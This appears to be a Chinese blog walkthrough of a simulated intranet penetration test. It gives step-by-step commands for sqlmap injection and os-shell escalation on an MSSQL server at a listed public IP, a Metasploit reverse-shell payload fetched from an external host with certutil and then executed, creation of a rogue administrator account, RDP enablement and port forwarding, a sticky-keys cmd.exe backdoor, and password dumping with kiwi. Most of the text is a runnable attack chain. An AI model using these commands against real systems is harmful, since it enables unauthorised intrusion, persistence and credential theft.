内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell

准备:假设内网有一台2003服务器(使用mssql数据库,存在注入点),把网页服务80端口映射到防火墙8092端口,外网一台centos用来接收反弹shell

工具:sqlmap、msf、apache

一、访问映射到外网的8092端口,web服务器寻找注入点

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第1张图片

测试页面存在注入点

使用sqlmap进行注入

 sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql"

注入成功,获取到了服务器信息 

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第2张图片

二、sqlmap提权 

由于是mssql数据库,首先查看当前数据库用户

sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --current-user

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第3张图片

sa 用户,可以进行提权

sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --os-shell

提权成功

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第4张图片

三、由于是内网设备,采用反弹shell到我准备好的外网centos设备 

centos搭建apache服务,用来装载反弹马给目标下载

yum install httpd -y

设置apache服务

systemctl start httpd
systemctl enable httpd

修改apache端口(默认80不要使用)

vim /etc/httpd/conf/httpd.conf

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第5张图片

重启一下apache服务,手动查看一下端口情况,5555正常监听就没问题

service httpd restart
netstat -ant

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第6张图片

主机win10手动访问一下搭建好的apache

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第7张图片

这里遇到一点问题,无法访问网页服务,导致后续下载反弹马失败

原因可能是被centos防火墙拦截了。

查看防火墙状态

systemctl status firewalld.service

关闭防火墙服务

systemctl stop firewalld.service

禁止开机自启防火墙服务

systemctl disable firewalld.service

四、msf制作反弹马

外网centos服务器安装msf

由于下载的msf离线包是.deb后缀的,先下载dpkg工具

yum install dpkg

安装msf离线包

dpkg -i msf.deb

启动msf,使用payload模块制作反弹马

这里我们设置监听端口为外网ip,端口设置为1234

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第8张图片

提示123.exe制作完成

将上一步做好的反弹马放到网站根目录

mv 123.exe /var/www/html/

五、msf监听 

设置监听模块,

use exploit/multi/handler

设置与反弹马设置的端口和ip保持一致,并且需要手动设置payload

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第9张图片

开启监听

六、sqlmap下载反弹马并执行 

由于03服务器提权成功,sqlmap可以执行系统命令

下载centos准备好的反弹马

certutil -urlcache -split -f http://外网ip:5555/123.exe

补充知识点:

适用于server 2003以上版本,windows的环境下用命令行下载文件

certutil -urlcache -split -f http://192.168.203.140/文件名.exe

执行反弹马

C:\windows\system32\Blob0_0.bin

大概几秒钟后,msf捕获到反弹shell

执行shell命令后,即可执行系统命令,建立稳定连接

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第10张图片

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第11张图片

第二部分:支线任务

成功获取这台192.168.100.12权限后,继续进行内网渗透

  1. 新建用户,并添加到管理员组

net user admin admin /add
net localgroup Administrators admin /add

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第12张图片

  1. 开启3389远程桌面端口

run getgui -e

提示使用另一条命令 try后面

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第13张图片

run post/windows/manage/enable_rdp

提示完成

  1. 将3389进行端口映射,映射到centos的33890端口

portfwd add -l 33890 -r 192.168.100.2 -p 3389

  1. 远程桌面登录后,便于后续测试后门脚本

此时用主机win10就可以直接远程连接centos ip:33890

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第14张图片

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第15张图片

上传脚本文件到C:/

shell

CD \

1.bat

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第16张图片

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第17张图片

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第18张图片

此时远程桌面登录框,连续按多次shift,即可触发粘连键,由于我们用1.bat将cmd.exe替换掉了粘连键程序,所以此时不需要登录,就已经可以执行cmd命令了

这时可以新建用户,添加组等操作

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第19张图片

支线任务二:使用wiki模块获取用户密码

加载kiwi

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第20张图片

creds_all

读取所有活动用户的密码

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第21张图片

目的达到,执行2.bat,还原粘连键程序

内网渗透模拟演练:使用sqlmap对内网mssql提权与反弹shell_第22张图片

你可能感兴趣的:(漏洞复现,渗透测试,1024程序员节)